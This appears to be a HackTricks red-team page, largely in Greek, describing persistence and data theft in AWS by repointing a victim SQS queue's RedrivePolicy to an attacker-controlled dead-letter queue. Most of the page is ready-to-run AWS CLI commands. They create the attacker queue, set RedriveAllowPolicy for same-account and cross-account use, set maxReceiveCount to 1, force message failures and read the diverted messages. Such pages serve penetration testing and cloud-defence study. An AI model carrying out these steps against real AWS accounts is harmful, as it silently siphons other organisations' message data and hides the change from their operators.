AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Κακοποίηση των SQS Dead-Letter Queues (DLQs) για να απορροφηθούν διακριτικά δεδομένα από μια ουρά πηγής του θύματος δείχνοντας το RedrivePolicy της σε μια ουρά που ελέγχεται από attacker. Με χαμηλό maxReceiveCount και με πρόκληση ή αναμονή κανονικών αποτυχιών επεξεργασίας, τα μηνύματα κατευθύνονται αυτόματα στην attacker DLQ χωρίς να αλλάξουν οι producers ή οι Lambda event source mappings.

Κακοχρησιμοποιούμενα Δικαιώματα

  • sqs:SetQueueAttributes στην ουρά πηγής του θύματος (για να ορίσει το RedrivePolicy)
  • sqs:SetQueueAttributes στην attacker DLQ (για να ορίσει το RedriveAllowPolicy)
  • Προαιρετικό για επιτάχυνση: sqs:ReceiveMessage στην ουρά πηγής
  • Προαιρετικό για ρύθμιση: sqs:CreateQueue, sqs:SendMessage

Ροή ίδιου λογαριασμού (allowAll)

Προετοιμασία (attacker account or compromised principal):

REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

Εκτέλεση (τρέξτε ως compromised principal σε victim account):

# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

Επιτάχυνση (προαιρετική):

# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

Επικύρωση:

# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

Παράδειγμα αποδεικτικών στοιχείων (Οι ιδιότητες περιλαμβάνουν το DeadLetterQueueSourceArn):

{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

Cross-Account Variant (byQueue)

Ορίστε το RedriveAllowPolicy στο attacker DLQ ώστε να επιτρέπονται μόνο συγκεκριμένα victim source queue ARNs:

VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

Επιπτώσεις

  • Κρυφή, ανθεκτική data exfiltration/persistence μέσω αυτόματης παρέκκλισης των αποτυχημένων μηνυμάτων από την SQS source queue του θύματος σε attacker-controlled DLQ, με ελάχιστο λειτουργικό θόρυβο και χωρίς αλλαγές στους producers ή στις Lambda mappings.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks